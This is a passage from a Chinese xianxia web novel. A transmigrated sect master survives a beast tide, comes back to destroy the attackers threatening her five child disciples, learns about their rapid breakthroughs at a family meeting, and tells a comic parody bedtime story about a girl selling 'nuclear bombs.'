云见月心中却猛地一跳:“这模样……跟前天炖鸡的那些‘漂亮蘑菇’也太像了?” 念头刚起,又被她自己迅速压下。 不可能,不可能。 “原著里楚凌风拼死才得三株!我随手采一兜子炖鸡?若真是神物,我们早该脱胎换骨了,定是形似的普通灵菇。” 抛去杂念,她小心翼翼地挖掘,将三株玄菌完整收入储物袋。 就在她准备离开时—— 咻!咻! 尖锐的破空声由远及近。 一道青衫身影落下,正是追踪玄玉参王而至的楚凌风。 “云见月?你怎么会在这?”他难以置信,目光扫过三首毒火蜥诡异的尸体,心中惊骇翻腾。 更有一股难以言喻的空落感,仿佛失去了极其重要的东西。 她竟能如此“轻易”击杀此兽? 她究竟藏了什么法宝? 云见月见到他,同样内心惊骇。 楚凌风的徒弟明明没有中毒,为何也会出现在这里? 她一脸戒备,冷声道:“与你何干?” 楚凌风脸色阴沉。 原以为她对自己一心一意,什么好东西都会送给他,原来她还私藏了更好的东西,不然不可能杀死凶兽,还毫发无伤。 敢情她以前都是在拿破烂打发他。 简直可恶至极。 楚凌风忌惮之心疯狂滋长。 眼看玄玉参王气息远去,他眼中阴鸷一闪,数道凌厉剑气悍然斩向远处几处强大妖兽巢穴。 轰!轰!轰! 巢穴被毁,惊天的兽吼瞬间响彻森林,数头被激怒的强大妖兽赤红着兽瞳,裹挟着腥风,咆哮着扑向云见月所在的核心区域。 更远处,无数妖兽被惊动,形成恐怖的兽潮。 “云见月,好好享受这份‘大礼’吧!”楚凌风留下恶毒冷笑,身影融入毒瘴急追而去。 “卑鄙!”云见月又惊又怒。 面对汹涌兽潮,她亡命穿梭,冰墙不断被撕碎,护罩摇摇欲坠。 狂暴的兽爪罡风数次扫中她,深可见骨的伤口瞬间染红月白法衣。 在一次近乎绝境的合围中,她拼着硬抗一击借力急退,脚下却猛地一空。 “啊——” 身体失控下坠,重重砸在涧底乱石堆中。 剧痛席卷,眼前阵阵发黑,内腑震荡让她几乎昏厥。 她强撑最后一丝清明,看到崖壁上一个被植物遮蔽的洞口,求生的本能驱使她拖着残躯,艰难爬入。 刚爬入洞内,再也支撑不住,彻底昏死过去。 …… 不知过了多久,昏迷中的云见月感觉脸上传来一阵温热湿濡的触感,带着细小的倒刺感。 她费力地掀开沉重的眼皮。 一只通体雪白、带着淡金色纹路、体型比猫儿大不了多少的小家伙,正依偎在她颈边,伸出粉嫩的小舌头,一下下舔舐着她脸上干涸的血迹。 它舔得很认真,小小的身体随着动作微微起伏,身上那淡金色的纹路,在接触到她血迹的瞬间,似乎极其微弱地闪烁了一下。 它似乎将她的血当成了食物,心满意足地发出细微的呼噜声,最后竟蜷缩在她颈窝旁,沉沉睡去。 云见月:“……” 这算什么?被一只小虎崽当成“妈妈”了? 感受着浑身撕裂般的剧痛和体内那股支撑着她的奇异暖流,想到宗门内可能面临的危机,一股滔天杀意翻腾: “楚凌风,此仇必百倍奉还。” “必须尽快赶回宗门。”云见月心急如焚。 她挣扎着坐起,强忍剧痛,检查伤势。 外伤狰狞,内腑震荡,但那股暖流似乎在顽强地修复着核心经脉,让她勉强能调动灵力。 就在这时,衣裙传来轻微的拉扯感,和细弱的“嗷呜”声。 低头一看,小白虎不知何时醒了,正用它的小爪子死死勾住她的裙摆,紧闭的眼缝微颤,无声哀求。 云见月心中一软,目光扫过空荡的山洞,再无他物。 “罢了。”她轻叹,小心地将那毛茸茸的一团抱起,“随我走吧。” 小家伙感受到温暖,立刻往她怀里拱了拱,她将它放入灵兽袋中。 …… 玄天宗,山巅。 苏渺渺踮着小脚丫,眼巴巴地望着宗门的方向。 小脸蛋比三天前圆润了些,带着被精心喂养出的健康红晕,但那双清澈的大眼睛里,此刻盛满了化不开的思念。 “师尊离开的第一天,想她。” “师尊离开的第二天,想她。” “师尊离开的第三天,还是想她……” 掰着三根手指,她吸了吸鼻子,眼眶泛红。 “呜呜呜,师尊什么时候回来呀?” 忽然,她想起师尊临行前的叮嘱,用力拍了拍自己的小脸蛋: “不行不行,渺渺不能这么消极,师尊说了,渺渺是小福星,要正能量,就算师尊不在,渺渺也要开开心心的,照顾好自己。” 她挺了挺小胸脯,努力把委屈压下去,迈开小短腿,哒哒哒地跑向柴房方向。 柴房外,堆积如山的木柴几乎要顶到屋檐。 江迷雾小小的身影依旧在挥汗如雨,凝霜剑每一次劈落都带着凌厉与精准。 剑气激荡,木柴应声而裂。 “哇!”苏渺渺拍着小手,发出由衷的赞叹:“四师兄劈了这么多柴,好厉害呀。 师尊说的真对,四师兄天生剑骨,以后一定会是天下最最厉害的剑修第一人,渺渺祝四师兄修为大增,剑气冲天!” 她话音落下的瞬间,江迷雾恰好一剑劈出。 嗡—— 剑锋之上仿佛被注入一股沛然的奇异力量。 一道凝练如实质、远超他应有水平的银色剑气猛地迸发。 轰隆—— 不仅目标木柴瞬间化为齑粉,狂暴的剑气余势不减,狠狠劈在地面上。 咔嚓! 一道数尺深、丈余长的狰狞沟壑骤然出现。 飞溅的碎石擦着苏渺渺的衣角呼啸而过,吓得她“啊”地一声惊叫,小脸煞白。 江迷雾也被这失控的恐怖威力惊呆了,握着剑的手微微颤抖,看着地上的深沟,又惊又喜: “我…我突破了?筑基期?” 下一秒,苏渺渺爆发出欢快的惊呼,蹦跳起来:“师尊说的果然没错,四师兄好厉害,渺渺的祝福真的有用。” 江迷雾看着地上那道深沟,又低头看看自己握剑的手,小脸上充满了不可思议的震惊和狂喜。 这三天,他沉浸在师尊安排的“劈柴练剑”中,只觉得体内仿佛有使不完的力气,剑意越发通达。 小师妹每天的“祝福”更是让他感觉暖洋洋的,充满干劲。 可他万万没想到,效果竟如此恐怖。 不远处,目睹这一幕的萧星尘和鹿闻声也快步走来。 鹿闻声眼中带着了然与欣慰,他自身在帮郁仙控制灶火的三天里,控火能力同样突飞猛进,修为也悄然突破到了筑基中期。 “四师弟,恭喜筑基!”萧星尘由衷道贺,眼底深处却掠过难以掩饰的落寞与苦涩。 这三天,他亲眼见证师弟师妹们修为增长,他为他们高兴。 可是,只有他,修为一点变化都没有。 明明他是大师兄,可却修为最低,他真不配做大师兄。 果然,他就是一个没用的废物。 “都是师尊教导有方。”江迷雾挠头,满眼崇拜。 鹿闻声深有同感:“师尊慧眼如炬,听师尊的准没错。” 萧星尘强压下心头的苦涩,努力让声音平静: “三师妹做好饭了,去吃饭吧。” 郁仙的手艺确实不错,饭菜飘香,五个小家伙刚拿起筷子—— 轰隆隆—— 一声仿佛天崩地裂般的巨响猛然炸开,整个玄天宗地动山摇。 咔嚓!咔嚓嚓—— 护山大阵在一声绝望的哀鸣中,如同脆弱的琉璃般轰然破碎。 烟尘弥漫中,一股令人窒息的化神中期威压如同巨山般降临。 紧接着,六道元婴期的恐怖气息与十数道金丹期的凌厉锋芒,如同嗜血的狼群,瞬间锁定了院内五个小小的身影。 赤炎宗的人,来了! “云见月!滚出来受死!”为首那位身着赤红道袍、面容阴鸷的化神长老赤枭厉声咆哮,声音如同惊雷滚过。 烟尘稍散,露出了院内孩子们惊恐却倔强的脸。 萧星尘几乎是本能地,猛地张开双臂,将师弟师妹死死护在身后。 他小小的身躯在化神威压下微微颤抖,脸色惨白如纸,但眼神却燃烧着不顾一切的决绝。 “师尊…师尊不在!”他咬着牙。 “不在?”赤枭长老眼中凶光一闪,“小崽子,说!云见月那贱人躲到哪里去了?” 萧星尘倔强地摇头。 “骨头倒硬!”赤枭狞笑一声,对着身后一个面容狠戾的金丹弟子使了个眼色,“给我杀!从大的开始,一个一个杀!老夫倒要看看,云贱人藏头露尾,眼睁睁看着徒弟死绝是什么滋味!” 金丹弟子残忍一笑,一步踏出,长剑高高举起,恐怖的杀意牢牢锁定萧星尘的脖颈。 “说不说?” 萧星尘闭上了眼睛:师尊,弟子无能。 他等待着死亡的降临。 鹿闻声目眦欲裂,郁仙攥紧了拳,江迷雾死死握剑,苏渺渺吓得浑身发抖。 剑带着焚尽一切的威势,悍然劈落。 “尔敢——” 就在这千钧一发的刹那,一道怒叱,撕裂长空,骤然降临。 咻—— 一道冰蓝色流光,划破长空,后发先至。 噗嗤! 精准无比地贯穿了金丹弟子的身体。 “呃啊——”凄厉至极的短促惨嚎响起,那金丹弟子在接触冰箭的瞬间,竟如同脆弱的冰晶一般,被极致深寒瞬间冻结、粉碎,冰屑混合着血沫散落一地。 时间仿佛凝固。 所有赤炎宗修士,包括赤枭长老,都骇然抬头。 只见苍穹之上,一道月白色的身影,携着漫天风雪,踏空而来。 她长发如瀑,衣袂翻飞,月白法衣上血迹斑驳,脸色苍白如雪,但那双眼中燃烧的怒火与冰寒,却让天地为之色变。 她并未刻意散发威压,但那冰冷彻骨的杀意,让在场所有赤炎宗修士都感到一股源自骨髓深处的恐惧。 “谁敢动我徒儿一根汗毛,我灭他满门!” 第19章 不亏是未来大反派,一个个修为增长很变态 赤枭长老脸上的惊愕瞬间被滔天怒火取代。 “大胆云见月,你竟敢杀我赤炎宗弟子?” 云见月眼神冰冷,字字珠玑。 “杀你弟子?赤枭老儿,你赤炎宗纵容门下弟子柳青冥见我师徒势弱,便心生歹念,欲夺我财物,杀我弟子,甚至口出污言要将我等卖作炉鼎苦力,如此行径,与魔修何异?” “我云见月不过是为求自保,正当防卫,柳青冥咎由自取。 你赤炎宗不反思门下弟子卑劣行径,不思管教约束,反而纠结党羽,恃强凌弱,打破我玄天宗护山大阵,兵临我宗门之内,威胁我年幼弟子性命,如今,你还有脸在我面前质问?” “玄天宗,乃我云氏先祖所创,纵使如今门庭冷落,也容不得尔等肆意践踏欺辱,今日是你们打上门来,欲行灭绝之事,我杀你们门人,合情合理,天经地义!” “好一个牙尖嘴利。”赤枭被驳得老脸涨红,恼羞成怒,“黄口小儿,还敢在老夫面前大言不惭,你爹在的时候,老夫还能敬你们玄天宗两分薄面,如今的玄天宗,就凭你们几个,也配与我赤炎宗讲道理? 今日老夫就让你知道,招惹我赤炎宗的下场。”他眼中杀机毕露,周身赤红灵力如同沸腾的岩浆,眼看就要动手。 云见月看着他,脸上最后一丝“谈判”的耐心彻底消失。 她缓缓点了点头,语气平静得令人心悸:“良言难劝该死的鬼。看来,是我多此一举了。” 她微微垂眸,目光似乎落在地上那滩金丹弟子化成的冰屑血沫上,又似乎穿透了眼前所有人,落向虚空。 “那么,”她抬起眼,一股难以言喻的恐怖寒意瞬间笼罩全场,“你们,就都去死吧。” 没有惊天动地的招式,没有毁天灭地的前奏。 云见月只是极其简单地,双手在身前虚虚一握。 “凝!” 噗!噗!噗!噗!噗…… 一连串令人毛骨悚然的冻结声,从每一个赤炎宗修士体内传出。 无论是那十几个金丹弟子,还是那六个元婴修士,甚至包括正欲暴起的化神中期的赤枭长老,所有人的动作都在这一瞬间凝固。 他们的表情惊愕、恐惧、难以置信。 他们的皮肤以肉眼可见的速度失去血色,覆盖上一层死寂的青灰。 眼睛迅速蒙上一层白翳,瞳孔扩散。 紧接着—— 咔嚓!咔嚓!咔嚓嚓…… 冰碎裂的声音密集响起。 从他们的指尖、发梢开始,一点点细密的冰粉簌簌落下。 然后是手臂、躯干、头颅……如同被风化,又像是被打碎的冰雕,在短短几个呼吸间,连同他们身上的衣物、法器,尽数化作一地冰粉。 风一吹,粉末打着旋儿飘散,连一丝血腥味都未曾留下。 整个玄天宗,死寂一片。 化神和元婴期大能,就......就这么死了? 五个孩子全都看呆了。 萧星尘张着嘴,鹿闻声瞳孔紧缩,郁仙死死捂住渺渺的眼睛,江迷雾手中的凝霜剑“哐当”一声掉在地上。 云见月身上寒气消散,她立刻转身,脸上只剩下担忧和急切。 她几步冲到孩子们面前,蹲下身,视线焦急地扫过每一张小脸。 “星尘!闻声!仙儿!阿雾!渺渺!快让为师看看,有没有伤着?刚才吓坏了吧?有没有哪里痛?” 她一把将离得最近的萧星尘和江迷雾揽进怀里,又伸手将鹿闻声、郁仙连同她怀里的渺渺都紧紧圈住。 温暖的怀抱带着淡淡的血腥气和冰雪的清冽,却奇异地驱散了孩子们心中残留的冰冷恐惧。 “师尊…呜呜呜……”渺渺第一个忍不住,小嘴一瘪,哇地一声哭了出来,紧紧抱住云见月的脖子,小身子抖得厉害。 “师尊…他们好可怕……”江迷雾也红了眼眶,把脸埋在云见月肩头。 鹿闻声抿着唇,努力想维持镇定,但微微发颤的身体泄露了他的后怕。 郁仙虽然没有哭出声,但身体僵硬,眼圈也泛着红。 就连向来最倔强的萧星尘,感受着师尊怀抱的温暖和那毫不掩饰的关切,鼻尖也忍不住一阵发酸,把头深深埋了下去。 委屈、恐惧、劫后余生的庆幸……种种情绪在云见月这个充满安全感的拥抱里找到了宣泄口。 五个小小的身体紧紧依偎着他们的师尊,像一群终于找到港湾的受惊小兽,呜呜咽咽的哭声此起彼伏。 “好了好了,不怕了不怕了,坏人都被师尊打跑了。”云见月心疼地拍抚着他们的后背,“师尊在呢,以后再也不会让任何人欺负你们,你们刚才都很勇敢,为师为你们感到骄傲。” 等孩子们的哭声渐渐小了下去,情绪也稍微平复了一些,云见月手腕一翻,灵光闪过,一只毛茸茸、雪白中带着淡金色纹路、睡得正酣的小白虎崽出现在她掌心。 小家伙蜷缩着,小肚子一起一伏,发出细微的呼噜声,萌态十足。 “看,师尊给你们带回来的惊喜,喜欢吗?” “哇!”渺渺的眼泪还挂在睫毛上,瞬间就被吸引了注意力,大眼睛亮晶晶的,“是…是小猫猫?” “师尊,这是老虎崽吗?好小好可爱。”江迷雾也凑过来,好奇地用手指轻轻碰了碰小白虎柔软的皮毛。 “对,是一只小白虎,以后就是我们玄天宗的一员了。” “以后就交给渺渺照顾好不好?要负责给它喂吃的,陪它玩。” “好!渺渺一定照顾好小白!”渺渺立刻破涕为笑,小心翼翼地凑近小虎崽,小脸上满是郑重和欢喜。 看着孩子们被萌物吸引,脸上重新焕发出光彩,云见月心中稍安。 她站起身,拍拍手:“好了,坏蛋打跑了,新成员也到家了。大家先去洗把脸,然后我们去吃饭,吃饱了,晚上师尊开个‘家庭小会’!” 夜色渐深,玄天宗主殿内点起了温暖的油灯。 虽然殿宇依旧破败,但此刻被灯火和人气填满,竟也显出几分温馨。 餐桌前,师徒六人吃完饭,围坐在一起。 “我们的‘玄天宗家庭小会’现在开始。”云见月笑容温和,努力营造轻松的氛围,“今天大家都辛苦了。我们先说说,这三天师尊不在家,你们都做了什么? 有没有遇到什么有趣的事?或者困难的事?说出来大家一起听听。” 她看向最小的渺渺:“渺渺,你先说?你这三天做了什么呀?” 渺渺立刻挺起小胸脯,奶声奶气地说:“渺渺有听师尊的话,渺渺每天都夸师兄师姐,夸三师姐做的饭香喷喷,夸四师兄劈柴好厉害,渺渺还…还帮二师兄生火,帮大师兄守护我们的家。” “渺渺真棒!说到做到,是合格的小福星,我们的家庭因为有你变得更幸福。”云见月竖起大拇指,毫不吝啬地夸奖,渺渺开心地晃着小脚丫。 “阿雾呢?” 江迷雾立刻兴奋起来:“师尊,我劈了好多好多柴,堆得像小山一样高,我还练剑了,今天渺渺夸我,我一剑就把地面劈开了好大一条缝!” 他手舞足蹈地比划着,小脸上满是自豪。 “哦?阿雾这么厉害了?”云见月故作惊讶,眼中满是笑意,“看来天生剑骨果然不凡,领悟力强,又勤奋,为师很为你骄傲,不过下次练习剑气要更注意控制哦,别伤到自己和你的师兄师姐师妹们。” “嗯!阿雾知道了!”江迷雾用力点头。 “闻声?” 鹿闻声比较沉稳:“回师尊,弟子按您吩咐,帮三师妹看顾灶火。控火比以前熟练了些…...” 鹿闻声话音未落,云见月敏锐地察觉到他周身灵力比三日前更加凝练,气息也浑厚了不少,赫然已是筑基中期! ‘筑基中期?’云见月心中剧震,惊的差点弹跳起来,还好她定力足够好,才没有惊呼出声。 我了个去! 她记得书中这个时候的鹿闻声明明只是炼气十层修为。 自己穿越过来也才不到七天吧? 短短七天,就从炼气十层突破到了筑基中期? 妖孽都没有你这么妖孽的,你这修炼速度比男主楚凌风变态了不止十个档次啊。 云见月暗中咂舌,再次感叹,未来大反派十足变态。 “很好!控火精准是炼器的基础,闻声你天赋卓绝又心细,未来定能成为炼器大师,修为进步是水到渠成,继续努力。”云见月肯定道。 轮到郁仙,考虑到这孩子心思重,又敏感,她的声音瞬间放柔。 “仙儿都做了什么?可否和为师分享一二?” “弟子做饭,还照看蘑菇。” “照看蘑菇?”云见月一脸疑惑。 “就是上次师尊做小鸡炖蘑菇时,掐掉的蘑菇根茎,徒儿埋进了土里,若是以后长出来,我们就有吃不完的蘑菇了。” 云见月内心感叹,小家伙还挺有头脑。 “那蘑菇根茎如何了?有没有发芽?”云见月顺着她的话问道,语气温和,并未抱太大期望。 不想,小丫头点了点头,“我给蘑菇输送了一些灵力,蘑菇就发芽了。” “发芽了?”云见月有些惊讶,这倒是意外之喜。 似乎是觉得师尊的惊讶不够‘惊喜’,郁仙抿了抿唇,忽然起身从旁边的橱柜角落里翻出一根枯黄蔫巴的、不知何时掉落的菜叶子。” 云见月:“???” 你要干什么? 只见郁仙掌心浮现绿色的木灵力,枯黄的菜叶子以肉眼可见的速度变成了新鲜的,宛如刚采摘下来的嫩绿色叶子。 这一下,云见月是真的坐不住了,猛地站起来。 这......这...... 还不等她惊讶,下一秒就惊恐了。 因为,她眼睁睁的看着郁仙又将那嫩绿的菜叶子变得枯黄,好像养分被吸干了一般。 云见月倒吸一口凉气,瞳孔骤然收缩! 这…...这绝非简单的木系滋养。 一念生,一念死,枯荣随心? 仙儿何时觉醒了如此霸道的天赋? 还好今天她开了这场家庭会议,不然都不知道徒弟们的惊人变化。 第20章 睡前故事,卖核弹的小女孩儿 “仙儿辛苦了。”云见月压下心中的惊涛骇浪,迅速收敛神色,目光更加温柔地看着她。 “做饭照顾大家很不容易,你做得很好。蘑菇也拜托你了,师尊相信你能照顾好它们。” 郁仙轻轻“嗯”了一声,眼底波动一闪而过。 最后,大家的目光都落在了萧星尘身上。 他低着头,手指无意识地抠着桌面,与刚才师弟师妹们分享时的兴奋截然不同。 “星尘。”云见月的声音放得更柔,“你是大师兄,这三天守护师弟师妹,一定很辛苦吧?跟师尊说说?” 萧星尘身体微微一僵,头埋得更低了,声音闷闷的:“弟子没做什么,就看着他们别出去。” 他顿了顿,声音里带着难以掩饰的失落和沮丧,“师弟师妹都很乖,一点不需要我操心。” 气氛一下子有些凝滞。 鹿闻声和江迷雾想说什么,却被云见月用眼神制止了。 云见月心中了然,这孩子没说自己的变化,看来就是没变化。 在师弟师妹们都取得了巨大突破时,他这个大师兄却原地踏步,对他来说是不小的打击。 她轻轻叹了口气,没有立刻安慰,而是环视一圈,微笑道:“大家分享得都很好。 这三天,渺渺很乖很负责,阿雾很努力进步很大,闻声控火精进修为提升,仙儿把大家照顾得很好。 星尘作为大师兄,一直恪守职责,守护在大家身边,这份担当和责任心,是大师兄最重要的品质。” 云见月说着,轻轻拍了拍萧星尘紧绷的肩膀,“你的力量,师尊一直都知道,它只是需要一点特别的契机。别急,我们慢慢来,好吗?” 萧星尘身体微震,没有抬头,但紧抠桌面的手指,几不可察地松了松。 看着孩子们鲜活的小脸和明显比之前红润健康的气色,云见月心中柔软。 她也开始讲述自己这几天的经历。 从深入万瘴之森的凶险,再到遭遇三首毒火蜥的搏杀,以及那铺天盖地的恐怖兽潮...... 她讲得绘声绘色,孩子们听得入了迷,小脸随着情节变化而变化。 听到兽潮围困,全都紧张得攥紧了小拳头,听到师尊险之又险地躲过致命一击,忍不住齐声惊呼...... 期间省略了她掉入山涧差点一命呜呼的经历。 “师尊,您找到机缘了吗?”苏渺渺眨巴着大眼睛,天真又期待地问出了大家最关心的问题。 云见月神秘一笑,小心翼翼地从储物袋中取出三株晶莹剔透的枯荣轮回菇。 “当当当!看!”云见月的声音带着一丝自豪,“这就是为师找到的宝贝——枯荣轮回菇! 一株就能卖十万上品灵石呢,等卖掉它们,咱们就能把宗门修得漂漂亮亮,每天都有吃不完的灵米灵兽肉,再也不用担心饿肚子啦。” 五个小家伙立刻凑近了看,小脑袋挤在一起。 苏渺渺歪着头,小脸上满是困惑:“师尊,这个不就是前些天咱们吃的蘑菇吗?长得一模一样呀!” 她指着玄菌,又努力回想小鸡炖蘑菇里那漂亮又好吃的菌菇。 “是呀是呀!”江迷雾用力点头,“就是那个!亮晶晶的!” 萧星尘也仔细看了看,对比记忆,认同地点了点头。 云见月伸出一根手指,在孩子们眼前摇了摇,语气带着点“你们还小不懂”的笃定: “虽然长得是很像,但是!药效天差地别哦,这可是上古玄菌枯荣轮回菇,万年都难遇到一株的稀世珍宝。 咱们上次吃的那一兜子,顶多就是长得好看的普通灵菇,药效差远了。” 她顿了顿,用最有力的“证据”说服他们,“你们想啊,要是咱们上次吃的真是这种宝贝,吃了那么多,身体怎么也该有点惊天动地的变化吧?比如金光闪闪啊,修为暴涨啊?可咱们啥变化都没有,对不对?” 萧星尘、江迷雾和苏渺渺觉得师尊说得非常有道理,立刻小鸡啄米似的点头:“师尊说得对!” 他们确实没感觉自己有什么翻天覆地的变化。 鹿闻声识海中,炎老的神魂狠狠翻了个白眼,“朽木!朽木不可雕也!你那越级挑战的本事哪来的? 灵力运转顺畅远超从前哪来的? 身体恢复力变强哪来的? 还没变化?我看你是就知道吃,吃进肚子里的好东西都喂了...喂了...” 老头子气得语无伦次,最终化作一声无奈的叹息。 鹿闻声嘴角微不可察地抽搐了一下,只能默默听着炎老的吐槽,不敢接话。 郁仙则一直垂着眼眸,看着自己交叠在膝上的两只小手。 师尊说身体没变化?可她自己分明感觉到了不同。 自从吃了那顿小鸡炖蘑菇,她对植物的感知力变得异常敏锐,甚至能隐约感觉到植物体内生机的流转,枯荣的交替。 就在刚才,当她靠近那枯荣轮回菇时,体内那股源自木灵根的奇异悸动,和上次吃蘑菇时的感觉一模一样,那种源自血脉的共鸣骗不了人。 十万上品灵石一株。 这个数字在郁仙小小的心里掀起了惊涛骇浪。 她下意识地想到床底下的木箱。 如果她种的那些根茎真的能长出同样的蘑菇,那得是多少灵石? 宗门再也不会缺吃少穿了,师尊也不用再冒险了。 她没有立刻反驳师尊的话,只是默默决定,等蘑菇真的长出来,长得和师尊手里这个一模一样了,再拿出来给师尊看。 到时候,师尊就会知道她也能为宗门做很大很大的贡献了。 想到这里,她心里悄悄升起一丝隐秘的期待和自豪。 “好了。”云见月拍拍手,“今天的‘小会’开得很好,我们是一家人,以后有开心的事要分享,有困难也要一起分担,互相帮助,互相鼓励,记住,我们是一个整体,要团结友爱,互帮互助,我们的玄天宗才会越来越好!” “嗯!”孩子们齐声应道,声音在温暖的灯火下显得格外清脆。 会议结束,小家伙们各自回房休息。 苏渺渺却磨磨蹭蹭地落在最后,小手不安地绞着衣角,几次抬头看云见月,又飞快地低下,小脸憋得通红。 “渺渺怎么了?”云见月蹲下身,与她平视,声音温柔,“是不是还有悄悄话想跟师尊说?” 小丫头咬了咬粉嫩的嘴唇,才用蚊呐般细小的声音说道:“师、师尊,可不可以......给渺渺讲睡前故事?” 她飞快地抬头看了云见月一眼,又迅速低下头,声音带着点委屈和小心翼翼的期盼。 “我、我听说其他小朋友睡觉前,他们的娘亲都会讲睡前故事,或者唱摇篮曲的......” 她越说声音越小,最后几乎听不见了,小小的肩膀微微缩着,似乎觉得自己提了一个很过分的要求。 云见月的心瞬间软成一汪水。 她展颜一笑,伸手揉了揉渺渺的发顶:“当然可以呀!我们渺渺是小福星,是天底下最棒的小朋友,别的小朋友有的,我们渺渺当然也要有,而且要比他们的更好听。” “真的吗?”苏渺渺的眼睛瞬间亮得像盛满了星星,所有的忐忑都化作了惊喜。 “比真金还真!”云见月笑着,一把将小团子抱了起来,还故意掂了掂,“走喽!给我们家的小福星讲睡前故事去喽!” 她抱着渺渺转了个小圈,惹得小丫头咯咯咯地笑个不停,清脆悦耳的笑声在寂静的夜晚传出去很远。 这温馨的一幕,恰好落在跟在师兄们身后、正欲回房的郁仙眼中。 她蓦地停住脚步,回头望去。 只见师尊抱着渺渺,两人脸上都洋溢着开怀的笑容,亲密无间。 那画面美好得像一幅画,连郁仙都不由自主地微微扬起了唇角,心底涌上一丝暖意。 但很快,那点笑意就僵在了脸上,一股难以言喻的酸涩和羡慕瞬间淹没了她。 渺渺真幸福。 她那么懂事,那么可爱,像个小太阳,难怪师尊那么喜欢她,愿意抱着她,哄着她。 郁仙低下头,看着自己并不细嫩的手指。 不像我,阴沉沉的,不会说好听的话,总惹人厌,长得也不好看,连亲生爹娘都不要我,师尊不喜欢我,也是应该的...... 内心苦涩的潮水汹涌,几乎要将她淹没。 她默默地转过身,不再看那让她心头发堵的画面,加快脚步,几乎是逃也似的钻进了自己的房间。 ...... 苏渺渺乖乖躺在小床上,大眼睛扑闪扑闪,充满了期待,等着师尊的故事。 云见月坐在床边,细心地帮她掖好被角,柔声问:“渺渺想听什么样的故事呀?” 苏渺渺从来没听过睡前故事,她甜甜地说:“只要是师尊讲的,渺渺都爱听,师尊讲的故事肯定最好听的。” “你呀,小嘴真甜!”云见月被逗乐了,轻轻捏了捏她肉嘟嘟的小脸蛋,“那好,今天为师就给你讲一个很远很远地方流传的经典故事,叫:卖核弹的小女孩!” “卖荷蛋的小女孩儿?”苏渺渺小脑袋一歪,大大的眼睛里满是问号,“是荷包蛋吗?” 她想象着一个小女孩挎着篮子卖煎蛋的画面。 云见月:“呃......” 她卡壳了,脸上闪过一丝尴尬。 大意了! 忘了世界观差异,但师尊的威严不能丢。 她轻咳一声,努力板正脸色,一本正经地解释:“不是荷包蛋,是‘核弹’!核桃的核,炸弹的弹。 这个‘核弹’啊,是一种非常非常厉害的法宝。 嗯......厉害到什么程度呢?大概一个核弹爆炸,能把咱们整个玄天宗,连带着周围好几座山,都夷为平地,比化神期修士自爆还厉害千百倍。” 苏渺渺立刻用小手捂住了嘴巴,大眼睛瞪得溜圆,充满了敬畏和惊奇:“哇!好厉害好厉害,师尊我要听,我要听卖核弹的小女孩儿的故事。” “话说啊。”云见月开始娓娓道来,“在一个特别特别冷的冬天,冷得连吐口气都能结冰。 有一个可怜的小女孩,她没有爹娘,也没有家,穿着破破烂烂的单衣,光着冻得通红的脚丫,哆哆嗦嗦地走在冰冷的大街上。 她怀里抱着几枚长得像黑色铁疙瘩的‘核弹’法宝,想要卖掉换点钱买吃的。 可是,街上的人都匆匆忙忙,赶着回家参加仙门庆典,没人理她,还有人嫌她挡路,把她推倒了。” 听到这里,苏渺渺对小女孩心疼起来,对推倒她的人也开始气愤。 “然后呢?” “然后,到了晚上,她实在太冷了,就想起了奶奶温暖的怀抱。” “于是乎,她点燃了一颗核弹。” 第21章 既来之则安之,既然来了就安葬在这里 “那天晚上,她投入了奶奶温暖的怀抱,所有人都看到了她的奶奶。” 故事讲完了,房间里死一般的寂静。 苏渺渺眨巴着大眼睛,有点懵懵的。 云见月看着小家伙茫然的样子,决定进行一下“思想升华”。 “渺渺,这个故事你听完后,觉得它想告诉我们什么道理呢?” 苏渺渺皱着眉头,努力思考着师尊的问题。 她想起小女孩最后和奶奶在一起了。 她恍然大悟,小拳头一握,脆生生地说:“说明谁欺负我,我就拉着他一起去见太奶。” “噗——”云见月差点没绷住笑出声,赶紧抿嘴。 她努力维持着师尊的威严:“咳,渺渺,你这个理解是对的,不过呢,这个故事真正想阐述的,是一个更深奥、更富有哲理的核心思想。” 苏渺渺立刻化身好奇宝宝:“师尊,是什么核心思想呀?渺渺太笨了,想不出来呢。” “傻孩子,你不是笨,你是年纪小,经历的事情还少。”云见月温柔地摸摸她的小脑袋,“为师告诉你,这个核心思想就是:既来之,则安之!” “既来之则安之?”苏渺渺重复着这个对她来说很拗口也很陌生的词。 “对!”云见月一脸高深莫测地点点头,“意思就是说:既然来了,那就安葬在这里吧。” 苏渺渺的小嘴张成了“O”型,虽然觉得好像哪里怪怪的,但师尊说得那么肯定,一定是对的。 她立刻拍着小手,眼中充满了对师尊的无限崇拜:“师尊好厉害,不仅做饭天下第一好吃,修为高得能打跑大坏蛋,还懂得这么多深奥的道理,渺渺明白了,师尊放心,渺渺以后一定好好学习。” 看着小家伙崇拜的小眼神,云见月内心的小人叉腰狂笑,面上却是一派慈师风范,欣慰地点头: “好孩子,这就对了。好了,故事讲完了,道理也懂了,该睡觉觉了。” 她俯身,在渺渺光洁的额头上轻轻印下一个晚安吻。 苏渺渺心满意足地闭上了眼睛,长长的睫毛像小扇子。 “师尊,明天还有睡前故事吗?” 云见月:“......” 她尴尬的咳嗽一声,道:“有。” “谢谢师尊,渺渺最喜欢师尊讲的故事了。” 说完,嘴角还挂着甜甜的笑容,很快,均匀绵长的呼吸声响起,她沉入了香甜的梦乡。 在彻底睡着前的迷糊中,她的小脑袋瓜里还转着一个念头:既来之则安之,以后谁要是敢欺负师尊和师兄师姐,等渺渺变厉害了,就让他们都安葬在这里...哼...... 云见月替她掖好被角,熄灭了灯,轻手轻脚地退出了房间。 月光如水,洒在安静的走廊上。 她完全没意识到,自己一个歪楼的故事解读,给未来的修真界埋下了一个多么“核平”的种子。 ...... 云见月轻手轻脚地合上苏渺渺的房门。 她心中浮起萧星尘在饭桌上强装镇定,却难掩失落的样子。 她抬步向萧星尘的房间走去,路过郁仙的房门时,里面一片寂静。 郁仙其实并没有睡着。 她躺在床上,睁着眼睛望着头顶模糊的黑暗。 脑海里反复回放师尊抱着渺渺,两人笑得那么开怀,渺渺幸福的窝在师尊怀里,而师尊的眼神是那么温柔宠溺。 那画面像一根细小的针,扎在她心底,泛起一阵阵酸涩的涟漪。 她烦躁地翻了个身。 就在这时,门外传来熟悉的脚步声。 是师尊! 郁仙的身体瞬间绷紧了,连呼吸都屏住了。 心跳不受控制地加速,咚咚咚地敲打着耳膜。 师尊是去渺渺房间讲完故事,现在要轮到我了吗? 她甚至能想象出师尊推开门,带着和刚才一样的温柔笑意,问她要不要听故事。 她还以为师尊也会如同她的亲生爹娘一样,只对假千金好,从而忽略她。 